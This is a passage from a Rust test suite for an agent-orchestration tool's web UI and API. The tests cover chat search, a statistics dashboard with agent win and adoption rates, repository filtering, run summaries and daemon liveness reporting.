19538        // All terms may still match across separate display rows.
19539        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19540        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19541    }
19542
19543    #[test]
19544    fn chat_search_targets_opener_derived_titles() {
19545        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19546            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19547            "status": "open", "turns": [
19548                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19549                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19550                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19551            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19552            "seat": crate::agent::SeatState::new("talk", "test", 1)
19553        }))
19554        .unwrap();
19555        let terms = search_terms("運用");
19556        let hit = search_chat(&terms, &talk).unwrap();
19557        assert_eq!(hit.field, "title");
19558        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19559        let target = hit.target.unwrap();
19560        assert_eq!((target.turn, target.message), (1, 0));
19561        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19562        // A blank first send can put the opener line in a later display row.
19563        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19564            {"body":"", "attachments":[], "reply":null},
19565            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19566        ]))
19567        .unwrap();
19568        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19569        assert_eq!((target.turn, target.message), (1, 1));
19570        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19571        talk.title = Some(talk::ChatTitle {
19572            text: "運用について".into(),
19573            source: talk::TitleSource::Manual,
19574        });
19575        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19576    }
19577
19578    #[tokio::test]
19579    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19580        let f = Fixture::start().await;
19581        write_talk(
19582            &f,
19583            "20260901-000001-aaaa",
19584            "open",
19585            &[
19586                (
19587                    "operator",
19588                    "\n  Why does the Pangolin cache expire?\nsecond line",
19589                ),
19590                ("agent", "Because the TTL is thirty seconds."),
19591            ],
19592        );
19593        write_talk(
19594            &f,
19595            "20260901-000002-bbbb",
19596            "closed",
19597            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19598        );
19599        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19600
19601        let search = |q: &'static str| {
19602            let f = &f;
19603            async move {
19604                f.get(&format!("/api/search?scope=chats&q={q}"))
19605                    .await
19606                    .json()
19607            }
19608        };
19609
19610        let v = search("PANGOLIN").await;
19611        assert_eq!(v["scope"], "chats");
19612        assert_eq!(v["total"], 1, "{v}");
19613        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19614        assert_eq!(v["hits"][0]["field"], "title");
19615        assert_eq!(v["unreadable"], 1, "{v}");
19616        let marked: Vec<&str> = v["hits"][0]["snippet"]
19617            .as_array()
19618            .unwrap()
19619            .iter()
19620            .filter(|p| p["hit"] == true)
19621            .map(|p| p["text"].as_str().unwrap())
19622            .collect();
19623        assert_eq!(marked, ["Pangolin"]);
19624
19625        // An agent turn, in a closed conversation.
19626        let v = search("zebra").await;
19627        assert_eq!(v["total"], 1, "{v}");
19628        assert_eq!(v["hits"][0]["field"], "agent");
19629        // Words may sit in different turns; all must be present.
19630        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19631        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19632        // Bookkeeping is not searched.
19633        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19634            assert_eq!(search(q).await["total"], 0, "{q}");
19635        }
19636        // The first line only is the title; the second line is still a turn.
19637        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19638        // Open conversations are listed before closed ones.
19639        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19640
19641        let v = f.get("/api/search?scope=nope&q=a").await;
19642        assert_eq!(v.status, 400);
19643        assert!(
19644            v.body.contains("scope must be runs, tasks or chats"),
19645            "{}",
19646            v.body
19647        );
19648    }
19649
19650    #[test]
19651    fn a_question_card_links_a_task_id_to_the_task_page() {
19652        let start = APP_JS
19653            .find("function updateAskCard(")
19654            .expect("updateAskCard exists");
19655        let body = &APP_JS[start..];
19656        let body = &body[..body.find("\n}\n").expect("function end")];
19657        assert!(body.contains("question.run_is_task"));
19658        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19659        assert!(body.contains("`#/runs/${question.run}`"));
19660        assert!(body.contains("\"task\" : \"run\""));
19661    }
19662
19663    #[test]
19664    fn plain_text_message_surfaces_go_through_linkify() {
19665        assert!(APP_JS.contains("function linkify("));
19666        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19667        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19668        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19669        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19670        assert!(!APP_JS.contains("innerHTML = text"));
19671    }
19672
19673    #[test]
19674    fn implementation_rate_views_keep_independent_samples() {
19675        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19676            let a = stats::AgentStats {
19677                competitive_entered: competitive_n,
19678                competitive_wins: usize::from(competitive_n > 0),
19679                solo_entered: solo_n,
19680                solo_adopted: 2 * usize::from(solo_n > 0),
19681                ..Default::default()
19682            };
19683            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19684            for (key, n, numerator) in [
19685                ("competitive_win_rate", competitive_n, a.competitive_wins),
19686                ("solo_adoption_rate", solo_n, a.solo_adopted),
19687            ] {
19688                if n == 0 {
19689                    assert!(v[key].is_null());
19690                } else {
19691                    assert_eq!(v[key]["denominator"], n);
19692                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19693                }
19694            }
19695        }
19696        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19697        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19698        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19699        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19700    }
19701
19702    #[test]
19703    fn stats_bars_share_one_id_keyed_plan() {
19704        let start = APP_JS
19705            .find("function statsBarRows(")
19706            .expect("statsBarRows exists");
19707        let body = &APP_JS[start..];
19708        let body = &body[..body.find("\n}\n").expect("function end")];
19709        assert!(body.contains("statsBarPlan(rows)"));
19710        assert!(body.contains("statsAgentTone(row.agent)"));
19711        assert!(!body.contains("candTone(i)"));
19712        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19713        for root in [
19714            "stats-agents-bars",
19715            "stats-solo-bars",
19716            "stats-reviewers-bars",
19717        ] {
19718            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19719        }
19720    }
19721
19722    #[test]
19723    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19724        let start = APP_JS
19725            .find("function renderStatsReviewerScatter(")
19726            .expect("renderStatsReviewerScatter exists");
19727        let body = &APP_JS[start..];
19728        let body = &body[..body.find("\n}\n").expect("function end")];
19729        assert!(body.contains("statsScatterPlan(reviewers)"));
19730        assert!(body.contains("statsAgentTone(d.agent)"));
19731        assert!(APP_JS.contains("function statsScatterPlan("));
19732        assert!(
19733            APP_JS.contains("d.submitted < STATS_LOW_N")
19734                || APP_JS.contains("r.submitted < STATS_LOW_N")
19735        );
19736        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19737        assert!(APP_CSS.contains(".precision-scatter"));
19738    }
19739
19740    #[test]
19741    fn advisor_reflection_is_drawn_as_stacked_segments() {
19742        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19743        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19744        let html = include_str!("../assets/ui/index.html");
19745        assert!(html.contains("Approximate"));
19746        for label in ["reflected strongly", "faint", "no proposal"] {
19747            assert!(html.contains(label));
19748        }
19749        let css = include_str!("../assets/ui/app.css");
19750        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19751            assert!(css.contains(&format!(".{c} {{")));
19752        }
19753    }
19754
19755    #[test]
19756    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19757        assert!(APP_JS.contains("function statsDailyPlan("));
19758        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19759        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19760    }
19761
19762    #[test]
19763    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19764        let start = APP_JS
19765            .find("function scheduleSearch(")
19766            .expect("scheduleSearch exists");
19767        let body = &APP_JS[start..];
19768        let body = &body[..body.find("\n}\n").expect("function end")];
19769        assert!(body.contains("s.seq += 1"));
19770    }
19771
19772    /// The dashboard reads every run's state itself rather than trusting a
19773    /// separately-maintained count, so an unreadable run must be counted the
19774    /// same way `/api/health` counts it - never silently dropped the way the
19775    /// CLI's own `stats::load_all` drops it.
19776    #[tokio::test]
19777    async fn stats_runs_unreadable_matches_health() {
19778        let f = Fixture::start().await;
19779        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19780        let broken = f.runs().join("20260902-140502-bad");
19781        std::fs::create_dir_all(&broken).expect("run dir");
19782        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19783
19784        let stats = f.get("/api/stats").await;
19785        let health = f.get("/api/health").await;
19786
19787        assert_eq!(stats.status, 200);
19788        assert_eq!(stats.json()["totals"]["runs"], 1);
19789        assert_eq!(stats.json()["runs_unreadable"], 1);
19790        assert_eq!(
19791            stats.json()["runs_unreadable"],
19792            health.json()["runs_unreadable"],
19793            "the dashboard and /api/health must never disagree about how many \
19794             runs could not be read"
19795        );
19796    }
19797
19798    #[tokio::test]
19799    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19800        let f = Fixture::start().await;
19801        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19802        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19803        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19804
19805        let totals = &f.get("/api/stats").await.json()["totals"];
19806        assert_eq!(totals["runs"], 3);
19807        assert_eq!(totals["merged"], 1);
19808        assert_eq!(totals["stalled"], 1);
19809        assert_eq!(totals["in_progress"], 1);
19810        // A stalled run must never read as blocked/merged/ready - it is its
19811        // own bucket, not folded into a "decided" one.
19812        assert_eq!(totals["blocked"], 0);
19813        assert_eq!(totals["ready"], 0);
19814    }
19815
19816    #[tokio::test]
19817    async fn stats_advisors_report_proposals_and_reflection() {
19818        use crate::advise::{Advice, AdvisorRecord, Reflection};
19819        use crate::verdict::Proposal;
19820
19821        let f = Fixture::start().await;
19822        let mut state = RunState::new(
19823            PathBuf::from("/repo/magi"),
19824            "main".to_owned(),
19825            "0123456789abcdef".to_owned(),
19826            "task".to_owned(),
19827            Config::default(),
19828        );
19829        state.id = "20260902-140501-a".to_owned();
19830        state.status = RunStatus::Merged;
19831        state.advice = Some(Advice {
19832            records: vec![
19833                AdvisorRecord {
19834                    seat: "advisor-1".to_owned(),
19835                    agent: "alpha".to_owned(),
19836                    proposal: Some(Proposal {
19837                        approach: "do it".to_owned(),
19838                        key_tradeoff: "speed over memory".to_owned(),
19839                        risks: Vec::new(),
19840                        touches: Vec::new(),
19841                        why_not_naive: "breaks under load".to_owned(),
19842                    }),
19843                    error: None,
19844                    duration_ms: 0,
19845                    reflection: Reflection::Strong,
19846                },
19847                AdvisorRecord {
19848                    seat: "advisor-2".to_owned(),
19849                    agent: "alpha".to_owned(),
19850                    proposal: None,
19851                    error: Some("timed out".to_owned()),
19852                    duration_ms: 0,
19853                    reflection: Reflection::Absent,
19854                },
19855            ],
19856            synthesis: Some("blended brief".to_owned()),
19857        });
19858        let dir = f.runs().join(&state.id);
19859        std::fs::create_dir_all(&dir).expect("run dir");
19860        std::fs::write(
19861            dir.join("run.json"),
19862            serde_json::to_string_pretty(&state).expect("serialize run"),
19863        )
19864        .expect("write run.json");
19865
19866        // `alpha` is in no roster here; this test is about the rates.
19867        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19868        let alpha = advisors
19869            .as_array()
19870            .expect("an array")
19871            .iter()
19872            .find(|a| a["agent"] == "alpha")
19873            .expect("alpha row");
19874        assert_eq!(alpha["seated"], 2);
19875        assert_eq!(alpha["proposed"], 1);
19876        assert_eq!(alpha["absent"], 1);
19877        assert_eq!(alpha["strong"], 1);
19878        assert_eq!(alpha["faint"], 0);
19879        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19880    }
19881
19882    #[tokio::test]
19883    async fn stats_hides_agents_outside_the_roster_unless_all() {
19884        use crate::run::Candidate;
19885        let repo = TempDir::new().expect("repo dir");
19886        std::fs::write(
19887            repo.path().join("magi.toml"),
19888            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19889        )
19890        .expect("magi.toml");
19891        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19892        let mut state = RunState::new(
19893            PathBuf::from("/repo/magi"),
19894            "main".to_owned(),
19895            "0123456789abcdef".to_owned(),
19896            "task".to_owned(),
19897            Config::default(),
19898        );
19899        state.id = "20260902-140501-a".to_owned();
19900        state.status = RunStatus::Merged;
19901        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19902            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19903                "index": 0, "label": label.to_string(), "agent": agent,
19904                "branch": "b", "worktree": "/w",
19905            }))
19906            .expect("candidate");
19907            c.label = label;
19908            state.candidates.push(c);
19909        }
19910        let dir = f.runs().join(&state.id);
19911        std::fs::create_dir_all(&dir).expect("run dir");
19912        std::fs::write(
19913            dir.join("run.json"),
19914            serde_json::to_string_pretty(&state).expect("serialize run"),
19915        )
19916        .expect("write run.json");
19917
19918        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19919            v["agents"]
19920                .as_array()
19921                .expect("array")
19922                .iter()
19923                .map(|a| a["agent"].as_str().unwrap().to_owned())
19924                .collect()
19925        };
19926        let hidden = f.get("/api/stats").await.json();
19927        assert_eq!(agents_of(&hidden), ["keep"]);
19928        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19929        assert_eq!(hidden["totals"]["runs"], 1);
19930
19931        let all = f.get("/api/stats?all=true").await.json();
19932        assert_eq!(agents_of(&all).len(), 2);
19933        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19934        // Verify competitive and solo keys exist on agent entries
19935        let keep_agent = all["agents"]
19936            .as_array()
19937            .unwrap()
19938            .iter()
19939            .find(|a| a["agent"] == "keep")
19940            .unwrap();
19941        assert_eq!(keep_agent["competitive_entered"], 1);
19942        assert_eq!(keep_agent["competitive_wins"], 0);
19943        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19944        assert_eq!(keep_agent["solo_entered"], 0);
19945        assert_eq!(keep_agent["solo_adopted"], 0);
19946        assert!(keep_agent["solo_adoption_rate"].is_null());
19947    }
19948
19949    #[tokio::test]
19950    async fn stats_release_bumps_split_clean_from_attention() {
19951        use crate::run::ReleaseBump;
19952
19953        let f = Fixture::start().await;
19954
19955        let mut clean = RunState::new(
19956            PathBuf::from("/repo/magi"),
19957            "main".to_owned(),
19958            "0123456789abcdef".to_owned(),
19959            "task".to_owned(),
19960            Config::default(),
19961        );
19962        clean.id = "20260902-140501-a".to_owned();
19963        clean.status = RunStatus::Merged;
19964        clean.release_bump = Some(ReleaseBump {
19965            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19966            version: Some("1.0.0".to_owned()),
19967            automerge_enabled: true,
19968            merged_directly: false,
19969            local: false,
19970            release: None,
19971            problem: None,
19972            action_required: None,
19973            skipped: None,
19974        });
19975
19976        let mut blocked = RunState::new(
19977            PathBuf::from("/repo/magi"),
19978            "main".to_owned(),
19979            "0123456789abcdef".to_owned(),
19980            "task".to_owned(),
19981            Config::default(),
19982        );
19983        blocked.id = "20260902-140502-b".to_owned();
19984        blocked.status = RunStatus::Merged;
19985        blocked.release_bump = Some(ReleaseBump {
19986            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19987            version: Some("1.0.1".to_owned()),
19988            automerge_enabled: false,
19989            merged_directly: false,
19990            local: false,
19991            release: None,
19992            problem: Some("checks red".to_owned()),
19993            action_required: Some("look at the PR".to_owned()),
19994            skipped: None,
19995        });
19996
19997        for state in [&clean, &blocked] {
19998            let dir = f.runs().join(&state.id);
19999            std::fs::create_dir_all(&dir).expect("run dir");
20000            std::fs::write(
20001                dir.join("run.json"),
20002                serde_json::to_string_pretty(state).expect("serialize run"),
20003            )
20004            .expect("write run.json");
20005        }
20006
20007        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20008        assert_eq!(bumps["merged"], 2);
20009        assert_eq!(bumps["recorded"], 2);
20010        assert_eq!(bumps["pr_opened"], 2);
20011        assert_eq!(bumps["automerge_enabled"], 1);
20012        assert_eq!(bumps["needs_attention"], 1);
20013        assert_eq!(bumps["clean"], 1);
20014        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20015        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20016    }
20017
20018    #[tokio::test]
20019    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20020        let f = Fixture::start().await;
20021        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20022
20023        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20024        assert_eq!(bumps["merged"], 1);
20025        assert_eq!(bumps["recorded"], 0);
20026        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20027        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20028        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20029        // `pr_opened` and `recorded` are both zero here, so these rates have
20030        // no denominator to compute from and must be null.
20031        assert_eq!(bumps["automerge_rate"], Value::Null);
20032        assert_eq!(bumps["attention_rate"], Value::Null);
20033    }
20034
20035    #[tokio::test]
20036    async fn stats_queue_counts_come_from_the_live_queue() {
20037        let f = Fixture::start().await;
20038        let q = f.queue();
20039        let mut queued = Task::new(
20040            "queued task".to_owned(),
20041            "do it".to_owned(),
20042            PathBuf::from("/repo"),
20043            Source::Human,
20044        );
20045        q.put(&mut queued).expect("put queued");
20046        let mut held = Task::new(
20047            "held task".to_owned(),
20048            "do it later".to_owned(),
20049            PathBuf::from("/repo"),
20050            Source::Human,
20051        );
20052        held.hold_machine(Some("out of attempts".to_owned()));
20053        q.put(&mut held).expect("put held");
20054
20055        let queue = f.get("/api/stats").await.json()["queue"].clone();
20056        assert_eq!(queue["queued"], 1);
20057        assert_eq!(queue["held"], 1);
20058        assert_eq!(queue["running"], 0);
20059        assert_eq!(queue["done"], 0);
20060        assert_eq!(queue["failed"], 0);
20061        assert_eq!(queue["blocked"], 0);
20062    }
20063
20064    #[tokio::test]
20065    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20066        let f = Fixture::start().await;
20067        let stats = f.get("/api/stats").await;
20068        assert_eq!(stats.status, 200);
20069        assert_eq!(stats.json()["totals"]["runs"], 0);
20070        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20071        assert_eq!(stats.json()["runs_unreadable"], 0);
20072        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20073        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20074        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20075        assert_eq!(stats.json()["repo"], Value::Null);
20076    }
20077
20078    #[tokio::test]
20079    async fn stats_lists_every_repository_with_runs_recorded() {
20080        let f = Fixture::start().await;
20081        write_run_repo(
20082            &f.runs(),
20083            "20260902-140501-a",
20084            RunStatus::Merged,
20085            "/repos/a",
20086        );
20087        write_run_repo(
20088            &f.runs(),
20089            "20260902-140502-b",
20090            RunStatus::Merged,
20091            "/repos/a",
20092        );
20093        write_run_repo(
20094            &f.runs(),
20095            "20260902-140503-c",
20096            RunStatus::Blocked,
20097            "/repos/b",
20098        );
20099
20100        let stats = f.get("/api/stats").await;
20101        assert_eq!(stats.status, 200);
20102        // Unfiltered - the aggregate across both repositories.
20103        assert_eq!(stats.json()["totals"]["runs"], 3);
20104        assert_eq!(stats.json()["repo"], Value::Null);
20105
20106        let repos = stats.json()["repos"].clone();
20107        let repos = repos.as_array().unwrap();
20108        assert_eq!(repos.len(), 2);
20109        // Busiest (2 runs) first.
20110        assert_eq!(repos[0]["repo"], "/repos/a");
20111        assert_eq!(repos[0]["name"], "a");
20112        assert_eq!(repos[0]["runs"], 2);
20113        assert_eq!(repos[1]["repo"], "/repos/b");
20114        assert_eq!(repos[1]["runs"], 1);
20115    }
20116
20117    #[tokio::test]
20118    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20119        let f = Fixture::start().await;
20120        write_run_repo(
20121            &f.runs(),
20122            "20260902-140501-a",
20123            RunStatus::Merged,
20124            "/repos/a",
20125        );
20126        write_run_repo(
20127            &f.runs(),
20128            "20260902-140502-b",
20129            RunStatus::Blocked,
20130            "/repos/b",
20131        );
20132
20133        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20134        assert_eq!(stats.status, 200);
20135        assert_eq!(stats.json()["totals"]["runs"], 1);
20136        assert_eq!(stats.json()["totals"]["merged"], 1);
20137        assert_eq!(stats.json()["repo"], "/repos/a");
20138        // The repository list itself is unaffected by the filter - it is
20139        // what a client switches repositories from.
20140        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20141        // runs_unreadable is a whole-workload count, never scoped to the
20142        // selected repository - see StatsView::runs_unreadable's own doc.
20143        assert_eq!(stats.json()["runs_unreadable"], 0);
20144    }
20145
20146    #[tokio::test]
20147    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20148        let f = Fixture::start().await;
20149        write_run_repo(
20150            &f.runs(),
20151            "20260902-140501-a",
20152            RunStatus::Merged,
20153            "/repos/a",
20154        );
20155        write_run_repo(
20156            &f.runs(),
20157            "20260902-140502-b",
20158            RunStatus::Merged,
20159            "/repos/b",
20160        );
20161
20162        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20163            let json = f.get(uri).await.json();
20164            let daily = json["daily"].as_array().expect("daily is an array");
20165            assert_eq!(daily.len(), 30);
20166            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20167            let mut sorted = dates.clone();
20168            sorted.sort();
20169            assert_eq!(dates, sorted);
20170            for d in daily {
20171                assert_eq!(
20172                    d["merged"].as_u64().unwrap()
20173                        + d["ready"].as_u64().unwrap()
20174                        + d["other"].as_u64().unwrap(),
20175                    d["runs"].as_u64().unwrap()
20176                );
20177            }
20178            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20179        }
20180    }
20181
20182    #[tokio::test]
20183    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20184        let f = Fixture::start().await;
20185        write_run_repo(
20186            &f.runs(),
20187            "20260902-140501-a",
20188            RunStatus::Merged,
20189            "/repos/a",
20190        );
20191
20192        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20193        assert_eq!(stats.status, 404);
20194    }
20195
20196    #[tokio::test]
20197    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20198        let f = Fixture::start().await;
20199        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20200
20201        let summary = f.get("/api/runs").await.json();
20202        let row = &summary[0];
20203        assert_eq!(row["short"], "a1b2");
20204        assert_eq!(row["status"], "ready");
20205        assert_eq!(row["done"], true);
20206        assert_eq!(row["title"], "Add a web UI");
20207        assert_eq!(row["repo_name"], "magi");
20208        assert_eq!(row["judges"], 3);
20209        assert_eq!(row["winner"], Value::Null);
20210        assert_eq!(row["reviews"], 0);
20211
20212        // The short id resolves, and the detail route is the state itself, not
20213        // a projection of it: the UI reads fields the summary does not carry.
20214        let detail = f.get("/api/runs/a1b2").await;
20215        assert_eq!(detail.status, 200);
20216        assert_eq!(detail.json()["base_branch"], "main");
20217        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20218    }
20219
20220    /// `status: "ready"` alone cannot tell a run still headed for a landing
20221    /// (a PR closed without merging, say) apart from one `[merge] mode =
20222    /// "none"` left unmerged for good — the confusion the operator flagged
20223    /// after the CLI report already grew a `not landed — nothing to do by
20224    /// design` line for exactly this case (`report.rs`). Both the list route
20225    /// and the detail route must carry a flag the phone can key on instead of
20226    /// re-deriving it from `status` + `merge.mode` itself.
20227    #[tokio::test]
20228    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20229        let f = Fixture::start().await;
20230
20231        let mut none_run = RunState::new(
20232            PathBuf::from("/repo/magi"),
20233            "main".to_owned(),
20234            "0123456789abcdef".to_owned(),
20235            "Add a web UI".to_owned(),
20236            Config::default(),
20237        );
20238        none_run.id = "20260902-140503-none".to_owned();
20239        none_run.status = RunStatus::Ready;
20240        none_run.merge = Some(crate::run::MergeOutcome {
20241            mode: crate::config::MergeMode::None,
20242            ok: true,
20243            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20244            empty: false,
20245        });
20246        write_state(&f.runs(), &none_run);
20247
20248        let mut pr_run = RunState::new(
20249            PathBuf::from("/repo/magi"),
20250            "main".to_owned(),
20251            "0123456789abcdef".to_owned(),
20252            "Add a web UI".to_owned(),
20253            Config::default(),
20254        );
20255        pr_run.id = "20260902-140504-prcl".to_owned();
20256        pr_run.status = RunStatus::Ready;
20257        pr_run.merge = Some(crate::run::MergeOutcome {
20258            mode: crate::config::MergeMode::Pr,
20259            ok: false,
20260            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20261            empty: false,
20262        });
20263        write_state(&f.runs(), &pr_run);
20264
20265        let summary = f.get("/api/runs").await.json();
20266        let rows: std::collections::HashMap<&str, &Value> = summary
20267            .as_array()
20268            .expect("an array")
20269            .iter()
20270            .map(|r| (r["id"].as_str().expect("an id"), r))
20271            .collect();
20272        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20273        assert_eq!(
20274            rows[none_run.id.as_str()]["unmerged_by_design"],
20275            true,
20276            "a mode-none Ready must be flagged in the list"
20277        );
20278        assert_eq!(
20279            rows[pr_run.id.as_str()]["unmerged_by_design"],
20280            false,
20281            "a Ready reached by a closed pull request is a different case"
20282        );
20283
20284        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20285        assert_eq!(none_detail["status"], "ready");
20286        assert_eq!(none_detail["unmerged_by_design"], true);
20287
20288        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20289        assert_eq!(pr_detail["unmerged_by_design"], false);
20290    }
20291
20292    /// `RunState::active` is only ever cleared by whoever populated it, so the
20293    /// detail route also has to say whether a daemon is actually still
20294    /// driving this run right now — otherwise a seat from a killed process's
20295    /// last wave would read as live forever.
20296    #[tokio::test]
20297    async fn run_core_survives_unavailable_related_stores() {
20298        let home = TempDir::new().unwrap();
20299        let ui = delta_test_ui(home.path());
20300        let state = RunState::new(
20301            PathBuf::from("/repo/magi"),
20302            "main".into(),
20303            "0123456789abcdef".into(),
20304            "Useful core instructions".into(),
20305            Config::default(),
20306        );
20307        let dir = ui.runs.join(&state.id);
20308        std::fs::create_dir_all(&dir).unwrap();
20309        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20310        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20311        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20312        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20313            .await
20314            .unwrap()
20315            .0;
20316        assert_eq!(core.state.instruction, state.instruction);
20317        assert_eq!(core.state.updated_at, state.updated_at);
20318        assert!(core.task.is_none());
20319        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20320    }
20321
20322    #[tokio::test]
20323    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20324        let f = Fixture::start().await;
20325        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20326        // half of this test can claim the daemon is working on it without a
20327        // second helper.
20328        let id = "20260902-140502-bbbb";
20329        let mut state = RunState::new(
20330            PathBuf::from("/repo/magi"),
20331            "main".to_owned(),
20332            "0123456789abcdef".to_owned(),
20333            "Add a web UI".to_owned(),
20334            Config::default(),
20335        );
20336        state.id = id.to_owned();
20337        state.status = RunStatus::Judging;
20338        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20339        let dir = f.runs().join(id);
20340        std::fs::create_dir_all(&dir).expect("run dir");
20341        std::fs::write(
20342            dir.join("run.json"),
20343            serde_json::to_string_pretty(&state).expect("serialize run"),
20344        )
20345        .expect("write run.json");
20346
20347        // No daemon.json at all, and no `driver_pid` recorded either (this
20348        // state was written directly, never through `execute()`): there is
20349        // nothing to confirm either way, so the route must say `"unknown"` —
20350        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20351        // run` used to get from this route before `driver_pid` existed.
20352        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20353        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20354        assert_eq!(cold["live"], "unknown", "{cold}");
20355
20356        // A fresh heartbeat naming exactly this run: the same entry now reads
20357        // as confirmed, not merely recorded.
20358        write_daemon(f.home.path(), Timestamp::now());
20359        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20360        assert_eq!(warm["live"], "live", "{warm}");
20361    }
20362
20363    #[test]
20364    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20365        let home = tempfile::tempdir().expect("temp home");
20366        let runs = home.path().join("runs");
20367        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20368            let mut state = RunState::new(
